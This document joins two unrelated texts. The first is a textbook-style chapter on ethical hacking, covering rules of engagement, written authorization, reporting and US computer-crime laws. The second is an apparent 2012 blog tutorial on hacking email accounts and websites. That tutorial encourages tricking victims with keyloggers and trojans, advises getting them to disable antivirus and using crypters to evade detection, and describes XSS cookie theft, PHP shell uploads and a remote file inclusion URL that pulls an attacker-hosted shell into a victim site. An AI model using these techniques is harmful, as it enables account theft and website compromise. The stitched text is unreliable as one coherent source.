Although mainframes do not hold the position of dominance they once had in business, they still are widely used. If the organization being assessed has mainframes, the security teams would benefit from having someone with that skill set on the team.

Network protocols —

Most modern networks are Transmission Control Protocol/ Internet Protocol (TCP/IP), although you might still find the occasional network that uses Novell or Apple routing information. Someone with good knowledge of networking protocols, as well as how these protocols function and can be manipulated, can play a key role in the team. These individuals may possess certifications in other OSes, hardware, or even posses a Network+ or Security+ certification.

Project management —

Someone will have to lead the security test team, and if you are chosen to be that person, you will need a variety of the skills and knowledge types listed previously. It can also be helpful to have good project management skills. After all, you will be leading, planning, organizing, and controlling the penetration test team. Individuals in this role may benefit from having Project Management Professional (PMP) certification.

On top of all this, ethical hackers need to have good report writing skills and must always try to stay abreast of current exploits, vulnerabilities, and emerging threats as their goals are to stay a step ahead of malicious hackers.

Modes of Ethical Hacking

With all this talk of the skills that an ethical hacker must have, you might be wondering how the ethical hacker can put these skills to use. An organization’s IT infrastructure can be probed, analyzed, and attacked in a variety of ways. Some of the most common modes of ethical hacking are shown here:

Insider attack —

This ethical hack simulates the types of attacks and activities that could be carried out by an authorized individual with a legitimate connection to the organization’s network.

Outsider attack —

This ethical hack seeks to simulate the types of attacks that could be launched across the Internet. It could target Hypertext Transfer Protocol (HTTP), Simple Mail Transfer Protocol (SMTP), Structured Query Language (SQL), or any other available service.

Stolen equipment attack —

This simulation is closely related to a physical attack as it targets the organization’s equipment. It could seek to target the CEO’s laptop or the organization’s backup tapes. No matter what the target, the goal is the same — extract critical information, usernames, and passwords.

Physical entry —

This simulationseeks to test the organization’s physical controls. Systems such as doors, gates, locks, guards, closed circuit television (CCTV), and alarms are tested to see whether they can be bypassed.

Bypassed authentication attack —

This simulation is tasked with looking for wireless access points (WAP) and modems. The goal is to see whether these systems are secure and offer sufficient authentication controls. If the controls can be bypassed, the ethical hacker might probe to see what level of system control can be obtained.

Social engineering attack —

This simulation does not target technical systems or physical access. Social engineering attacks target the organization’s employees and seek to manipulate them to gain privileged information. Proper controls, policies, and procedures can go a long way in defeating this form of attack.

Rules of Engagement —

Every ethical hacker must abide by a few simple rules when performing the tests described previously. If not, bad things can happen to you, which might include loss of job, civil penalty, or even jail time.

Never exceed the limits of your authorization —

Every assignment will have rules of engagement. These not only include what you are authorized to target, but also the extent that you are authorized to control such system. If you are only authorized to obtain a prompt on the target system, downloading passwords and starting a crack on these passwords would be in excess of what you have been authorized to do.

The tester should protect himself by setting up limitation as far as damage is concerned. There has to be an NDA between the client and the tester to protect them both. There is a good example of a get out of jail document at

HYPERLINK "http://www.professionalsecuritytesters.org/modules.php?name=Downloads&d_op=viewdownload&cid=1 " http://www.professionalsecurityteste...download&cid=1

Be ethical —

That’s right; the big difference between a hacker and an ethical hacker is the word ethics. Ethics is a set of moral principles about what is correct or the right thing to do. Ethical standards are sometimes different from legal standards in that laws define what we must do, whereas ethics define what we should do.

The OSSTMM — An Open Methodology

In December 2001, the Open Source Security Testing Methodology Manual (OSSTMM) began. Hundreds of people contributed knowledge, experience, and peer-review to the project. Eventually, as the only publicly available methodology that tested security from the bottom of operations and up (as opposed to from the policy on down), it received the attention of businesses, government agencies, and militaries around the world. It also scored success with little security startups and independent ethical hackers who wanted a public source for client assurance of their security testing services. The primary purpose of the OSSTMM is to provide a scientific methodology for the accurate characterization of security through examination and correlation in a consistent and reliable way. Great effort has been put into the OSSTMM to assure reliable cross-reference to current security management methodologies, tools, and resources. This manual is adaptable to penetration tests, ethical hacking, security assessments, vulnerability assessments, red-teaming, blue-teaming, posture assessments, and security audits. Your primary purpose for using it should be to guarantee facts and factual responses, which in turn assures your integrity as a tester and the organization you are working for, if any. The end result is a strong, focused security test with clear and concise reporting. www.isecom.org is the main site for the nonprofit organization, ISECOM, maintaining the OSSTMM and many other projects. This “in the field” segment was contributed by Pete Herzog, Managing Director, ISECOM.

Maintain confidentiality —

During security evaluations, you will likely be exposed to many types of confidential information. You have both a legal and moral standard to treat this information with the utmost privacy. This information should not be shared with third parties and should not be used by you for any unapproved purposes. There is an obligation to protect the information sent between the tester and the client. This has to be specified in the agreement.

Do no harm —

It’s ofutmost importance that you do no harm to the systems you test. Again, a major difference between a hacker and an ethical hacker is that you should do no harm. Misused, security tools can lock out critical accounts, cause denial of service (DoS), and crash critical servers or applications. Care should be taken to prevent these events unless that is the goal of the test.

Test Plans — Keeping It Legal

Most of us probably make plans before we take a big trip or vacation. We think about what we want to see, how we plan to spend our time, what activities are available, and how much money we can spend and not regret it when the next credit card bill arrives. Ethical hacking is much the same minus the credit card bill. Many details need to be worked out before a single test is performed. If you or your boss is tasked with managing this project, some basic questions need to be answered, such as what’s the scope of the assessment, what are the driving events, what are the goals of the assessment, what will it take to get approval, and what’s needed in the final report.

Before an ethical hack test can begin, the scope of the engagement must be determined.

Defining the scope of the assessment is one of the most important parts of the ethical hacking process. At some point, you will be meeting with management to start the discussions of the how and why of the ethical hack. Before this meeting ever begins, you will probably have some idea what management expects this security test to accomplish. Companies that decide to perform ethical hacking activities don’t do so in a vacuum. You need to understand the business reasons behind this event. Companies can decide to perform these tests for various reasons.

Some of the most common reasons are listed as follows:

A breach in security - One or more events has occurred that has highlighted a lapse in security. It could be that an insider was able to access data that should have been unavailable to him, or it could be that an outsider was able to hack the organization’s web server.

Compliance with state, federal, regulatory, or other law or mandate — Compliance with state or federal laws is another event that might be driving the assessment. Companies can face huge fines and potential jail time if they fail to comply with state and federal laws. The Gramm-Leach-Bliley Act (GLBA), Sarbanes-Oxley (SOX), and Health Insurance Portability and Accountability Act (HIPAA) are three such laws. HIPAA requires organizations to perform a vulnerability assessment. Your organization might decide to include ethical hacking into this test regime.

NOTE

One such standard that the organization might be attempting to comply with is ISO 17799. This information security standard was first published in December 2000 by the International Organization for Standardization and the International Electrotechnical Commission. This code of practice for information security management is considered a security standard benchmark.
. Security Policy
. Security Organization
. Asset Control and Classification
. Environmental and Physical Security
. Employee Security
. Computer and Network Management
. Access Controls
. System Development and Maintenance
. Business Continuity Planning
. Compliance

Due diligence — Due diligence is another one of the reasons a company might decide to perform a penetration test. The new CEO might want to know how good the organization’s security systems really are, or it could be that the company is scheduled to go through a merger or is acquiring a new firm. If so, the penetration test might occur before the purchase or after the event. These assessments are usually going to be held to a strict timeline. There is only a limited amount of time before the purchase and if performed afterward, the organization will probably be in a hurry to integrate the two networks as soon as possible.

Test Phases

Security assessments in which ethical hacking activities will take place are composed of three phases. These include the scoping of the assessment in which goals and guidelines are established, performing the assessment, and performing post assessment activities. The post assessment activities are when the report and remediation activities would occur. Figure 1.2 shows the three phases of the assessment and their typical times.

Establishing Goals

The need to establish goals is also critical. Although you might be ready to jump in and begin hacking, a good plan will detail the goals and objectives of the test. Some common goals include system certification and accreditation, verification of policy compliance, and proof that the IT infrastructure has the capability to defend against technical attacks.

Are the goals to certify and accredit the systems being tested? Certification is a technical evaluation of the system that can be carried out by independent security teams or by the existing staff. Its goal is to uncover any vulnerabilities or weaknesses in the implementation. Your goal will be to test these systems to make sure that they are configured and operating as expected, that they are connected to and communicate with other systems in a secure and controlled manner, and that they handle data in a secure and approved manner.

If the goals of the penetration test are to determine whether current policies are being followed, the test methods and goals might be somewhat different. The security team will be looking at the controls implemented to protect information being stored, being transmitted, or being processed. This type of security test might not have as much hands-on hacking, but might use more social engineering techniques and testing of physical controls. You might even direct one of the team members to perform a little dumpster diving.

The goal of a technical attack might be to see what an insider or outsider can access. Your goal might be to gather information as an outsider and then use that data to launch an attack against a web server or externally accessible system.

Regardless of what type of test you are asked to perform, there are some basic questions you can ask to help establish the goals and objectives of the tests. These include the following:

What is the organization’s mission?
What specific outcomes does the organization expect?
What is the budget?
When will tests be performed — during work hours, after hours, or weekends?
How much time will the organization commit to completing the security evaluation?
Will insiders be notified?
Will customers be notified?
How far will the test proceed? Root the box, gain a prompt, or attempt to retrieve another prize, such as the CEO’s password.
Who do you contact should something go wrong?
What are the deliverables?
What outcome is management seeking from these tests?

Getting Approval

Getting approval is a critical event in the testing process. Before any testing actually begins, you need to make sure that you have a plan that has been approved in writing. If this is not done, you and your team might face unpleasant consequences, which might include being fired or even criminal charges.

TIP

Written approval is the most critical step of the testing process. You should never perform any tests without written approval.

If you are an independent consultant, you might also get insurance before starting any type of test. Umbrella policies and those that cover errors and omissions are commonly used. These types of liability policies can help protect you should anything go wrong. To help make sure that the approval process goes smoothly, you should make sure that someone is the champion of this project. This champion or project sponsor is the lead contact to upper management and your contact person. Project sponsors can be instrumental in helping you gain permission to begin testing and also to provide you with thefunding and materials needed to make this a success.

NOTE

Management support is critical in a security test to be successful (or in Kartik and Travis’ case, from being expeled).

Ethical Hacking Report

Objective:

Describe test deliverables

Although we have not actually begun testing, you do need to start thinking about the final report. Throughout the entire process, you should be in close contact with management to keep them abreast of your findings. There shouldn’t be any big surprises when you submit the report. While you might have found some serious problems, they should be discussed with management before the report is written and submitted. The goal is to keep them in the loop and advised of the status of the assessment. If you find items that present a critical vulnerability, you should stop all tests and immediately inform management. Your priority should always be the health and welfare of the organization.

The report itself should detail the results of what was found. Vulnerabilities should be discussed as should the potential risk they pose. Although people aren’t fired for being poor report writers, don’t expect to be promoted or praised for your technical findings if the report doesn’t communicate your findings clearly. The report should present the results of the assessment in an easy, understandable, and fully traceable way. The report should be comprehensive and self-contained. Most reports contain the following sections:

Introduction
Statement of work performed
Results and conclusions
Recommendations

Since most companies are not made of money and cannot secure everything, you should rank your recommendations so that the ones with the highest risk/highest probability are at the top of the list.

The report needs to be adequately secured while in electronic storage. Encryption should be used. The printed copy of the report should be marked “Confidential” and while in its printed form, care should be taken to protect the report from unauthorized individuals. You have an ongoing responsibility to ensure the safety of the report and all information gathered. Most consultants destroy reports and all test information after a contractually obligated period of time.

TIP

The report is a piece of highly sensitive material and should be protected in storage and when in printed form.

Ethics and Legality

Objective:

Know the laws dealing with computer crimes and their implications Recent FBI reports on computer crime indicate that unauthorized computer use in 2005 was reported at 56 percent of U.S. companies surveyed. This is an increase of 3 percent from 2004. Various website attacks were up 6 percent from 2004. These figures indicate that computer crime caused by hackers continues to increase. A computer or network can become the victim of a crime committed by a hacker. Hackers use computers as a tool to commit a crime or to plan, track, and control a crime against other computers or networks. Your job as an ethical hacker is to find vulnerabilities before the attackers do and help prevent them from carrying out malicious activities. Tracking and prosecuting hackers can be a difficult job as international law is often ill-suited to deal with the problem. Unlike conventional crimes that occur in one location, hacking crimes might originate in India, use a system based in Singapore, and target a computer network located in Canada. Each country has conflicting views on what constitutes cyber crime. Even if hackers can be punished, attempting to do so can be a legal nightmare. It is hard to apply national borders to a medium such as the Internet that is essentially borderless.

NOTE

Some individuals approach computing and hacking from the social perspective and believethat hacking can promote change. These individuals are known as hactivists, these “hacker activists” use computers and technology for hi-tech campaigning and social change. They believe that defacing websites and hacking servers is acceptable as long as it promotes their goals. Regardless of their motives, hacking remains illegal and they are subject to the same computer crime laws as any other criminal.

Overview of U.S. Federal Laws
Although some hackers might have the benefit of bouncing around the globe from system to system, your work will likely occur within the confines of the host nation. The United States and some other countries have instigated strict laws to deal with hackers and hacking. During the past five years, the U.S. federal government has taken an active role in dealing with computer, Internet, privacy, corporate threats, vulnerabilities, and exploits. These are laws you should be aware of and not become entangled in. Hacking is covered under law Title 18: Crimes and Criminal Procedure: Part 1: Crimes: Chapter 47: Fraud and False Statements: Section 1029 and 1030. Each are described here:

Section 1029
Fraud and related activity with access devices. This law gives the U.S. federal government the power to prosecute hackers that knowingly and with intent to defraud, produce, use, or traffic in one or more counterfeit access devices. Access devices can be an application or hardware that is created specifically to generate any type of access credentials, including passwords, credit card numbers, long distance telephone service access codes, PINs, and so on for the purpose of unauthorized access.

Section 1030
Fraud and related activity in connection with computers. The law covers just about any computer or device connected to a network or Internet. It mandates penalties for anyone who accesses a computer in an unauthorized manner or exceeds one’s access rights. This a powerful law because companies can use it to prosecute employees when they use the rights the companies have given them to carry out fraudulent activities.

TIP

Sections 1029 and 1030 are the main statutes that address computer crime in U.S. federal law. Understand its basic coverage and penalties.

The Evolution of Hacking Laws
In 1985, hacking was still in its infancy in England. Because of the lack of hacking laws, some British hackers felt there was no way they could be prosecuted. Triludan the Warrior was one of these individuals. Besides breaking into the British Telecom system, he also broke an admin password for Prestel. Prestel was a dialup service that provided online services, shopping, email, sports, and weather. One user of Prestel was His Royal Highness, Prince Phillip. Triludan broke into the Prince’s mailbox along with various other activities, such as leaving the Prestel system admin messages and taunts. Triludan the Warrior was caught on April 10, 1985, and was charged with five counts of forgery, as no hacking laws existed. After several years and a 3.5 million dollar legal battle, Triludan was eventually acquitted. Others were not so lucky because in 1990, Parliament passed The Computer Misuse Act, which made hacking attempts punishable by up to five years in jail. Today, the UK, along with most of the Western world, has extensive laws against hacking.

The federal punishment described in Sections 1029 and 1030 for hacking into computers ranges from a fine or imprisonment for no more than one year. It might also include a fine and imprisonment for no more than twenty years. This wide range of punishment depends on the seriousness of the criminal activity and what damage the hacker has done. Other federal laws that address hacking include:

Electronic Communication Privacy Act
Mandates provisions for access, use, disclosure, interception, and privacy protections of electronic communications. The law encompasses USC Sections 2510 and 2701. According to the U.S. Code, electronic communications “means any transfer of signs, signals, writing, images, sounds, data, or intelligence of any nature transmitted in whole or in part by a wire, radio, electromagnetic, photo electronic, or photo optical system that affects interstate or foreign commerce.” This law makes it illegal for individuals to capture communication in transit or in storage. Although these laws were originally developed to secure voice communications, it now covers email and electronic communication.

Computer Fraud and Abuse Act of 1984
The Computer Fraud and Abuse Act (CFAA) of 1984 protects certain types of information that the government maintains as sensitive. The Act defines the term “classified computer,” and imposes punishment for unauthorized or misused access into one of these protected computers or systems. The Act also mandates fines and jail time for those who commit specific computer - related actions, such as trafficking in passwords or extortion by threatening a computer. In 1992, Congress amended the CFAA to include malicious code, which was not included in the original Act.

The Cyber Security Enhancement Act of 2002 - This Act mandates that hackers who carry out certain computer crimes might now get life sentences in jail if the crime could result in another’s bodily harm or possible death. This means that if hackers disrupt a 911 system, they could spend the rest of their days in jail.

The Uniting and Strengthening America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism (USA PATRIOT) Act of 2001 - Originally passed because of the World Trade Center attack on September 11, 2001. Strengthens computer crime laws and has been the subject of some controversy. This Act gives the U.S. government extreme latitude in pursuing criminals. The Act permits the U.S. government to monitor hackers without a warrant and perform sneak and peek searches.

The Federal Information Security Management Act (FISMA) - Signed into law in 2002 as part of the E-Government Act of 2002, replacing the Government Information Security Reform Act (GISRA). FISMA was enacted to address the information security requirements for non-national security government agencies. FISMA provides a statutory framework for securing government owned and operated IT infrastructures and assets.

Federal Sentencing Guidelines of 1991 - Provide guidelines to judges so that sentences would be handed down in a more uniform manner.

Economic Espionage Act of 1996 - Defines strict penalties for those accused of espionage.

U.S. Child Pornography Prevention Act of 1996 - Enacted to combat and reduce the use of computer technology to produce and distribute pornography.

U.S. Health Insurance Portability and Accountability Act (HIPPA) - Established privacy and security regulations for the health care industry.

Summary

This lesson proves that security is based on the CIA triad. This triad considers confidentiality, integrity, and availability. The application of the principles of the CIA triad must be applied to Information Technology (IT) networks and their data. The data must be protected in storage and in transit.

Because the organization cannot provide complete protection for all of its assets, a system must be developed to rank risk and vulnerabilities. Organizations must seek to identify high risk and high impact events for protective mechanisms. Part of the job of an ethical hacker is to identify potential vulnerabilities to these critical assets and test systems to see whether they are vulnerable to exploits.

The activities described are security tests. Ethical hackers can perform security tests from an unknown perspective, blackbox testing, or with all documentation and knowledge, whitebox testing. The type of approach to testing that is taken will depend on the time, funds, and objective of the security test. Organizations can have many aspects of their protective systems tested, such as physical security, phone systems, wireless access, insider access, or external hacking. To perform these tests, ethical hackers need a variety of skills. They must be adept in the technical aspects of network but also understand policy and procedure. No single ethical hacker will understand all operating systems, networking protocols, or application software, but that’s okay, as security tests are performed by teams of individuals where each brings a unique skill to the table.

So, even though “God-like” knowledge isn’t required, an ethical hacker does need to understand laws pertaining to hackers and hacking. He must also understand that the most important part of the pre-test activities is to obtain written authorization. No test should be performed without the written permission of the network or service. Following this simple rule will help you stay focused on the legitimate test objectives and help protect you from any activities or actions that might be seen as unethical.

Overview

2012-10-19T12:06:00.001-07:00

Introduction:

We see a millions of people going to different forums and websites and asking "how do i hack an email?", "Can you hack blah for me?". So thought to create a tutorial which will give you the basic idea about what the heck is a "HACK", and how to DEFEND YOUR SELF AGAINST HACKERS.

Background:

Hacking started way too far when the windowsd 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses.

Things to remember

I will suggest you, KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN.

Initialization:

Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts.

1. Email or the user information
2. Web based hacking.

Email or user information:

These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow:

a. Phishing
b. Brute Forcing
c. Keylogging
d. Trojans

a. Phishing:

Phishing is basically a massive attack. What a hacker does is, they created an absoulutely look alike page of some website like yahoo or gmail. They upload it to their own server. And give the link to any n00b user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and WHOA! your information has been submitted. This is widely used by new people trying to entering into ahcking world.
Most recent example in india was some scam with ICICI bank, lots of user info was stolen as far as i remember. I read it somewhere in the news paper and was thinking what the hell! ?

Disadvantages: Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website.

b. Brute Forcing

Brute forcer is basically a program which could be called as a "cracker". In brute focer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing english words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like "huge pass list" on different forums, they are nothing but the password list to put into your bruteforcer.!

Disadvantages:
1. Sometimes brute forcing may just go for ages!
2. It isnt guaranteed
3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect
4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the "image captcha" after 3 incorrect login attempts, which stops the bruteforcer.

P.S:- I have made some focused FTP, Gmail & Yahoo bruteforcers which are avilable on my website.

c. Keylogging

Keylogger helps you to create a little filed which is known as "server". You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens.
Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim's computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information

Disadvantages :
1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to desable the anti virus by bluffing something.
2. Sometimes firewall blocks the keylogs from being sent.

Tips :
1. There are some programs which are known as "crypters" which will help you to make your server's undetectable. So your victim's anti-virus would not be able to detect them.

d. Trojans:

Trojans are like father of keyloggers. Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim's computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may kep on ejecting and re-inserting the cd ROM. Much more..

Disadvantages :
Same as keyloggers.

Tips :
Same as keylogger.

Web Hacking:

I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE!

1. SQL Injection
2. XSS
3. Shells
4. RFI
5. There are some more but they are TOOO big to be discussed in here.

1. SQL Injection:

Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.
So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website!

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:
Code:
 yoursite.com/index.php?id=545
just add a ' like this at the end
Code:
 yoursite.com/index.php?id=545'

2. XSS:

XSS is another nice way to ahck some website. Suppose if some website/ forum is allowing HTML in the psot or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up.

3. Shells:

Shell is a malicious .php script. What you have to do is, find a palce in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. YOu can rename/edit / upload/download anything u want including the index page.
This is also known as deface.

4. RFI:

RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:
Code:
 yoursite.com/shell.txt
and you found a vulnerable site to RFI... then you can do as follow:
Code:
 victimssite.com/index.php?page=yousite.com/shell.txt
This will again give u the access of your victim's sites FTP , just as shell so you can f*ck up anything you want.

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:
Code:
 yoursite.com/index.php?id=545
just add something liek this at the end
Code:
 yoursite.com/index.php?id=http://www.google.com
And if it incldes the google page into your page, that means its vulnerable to RFI.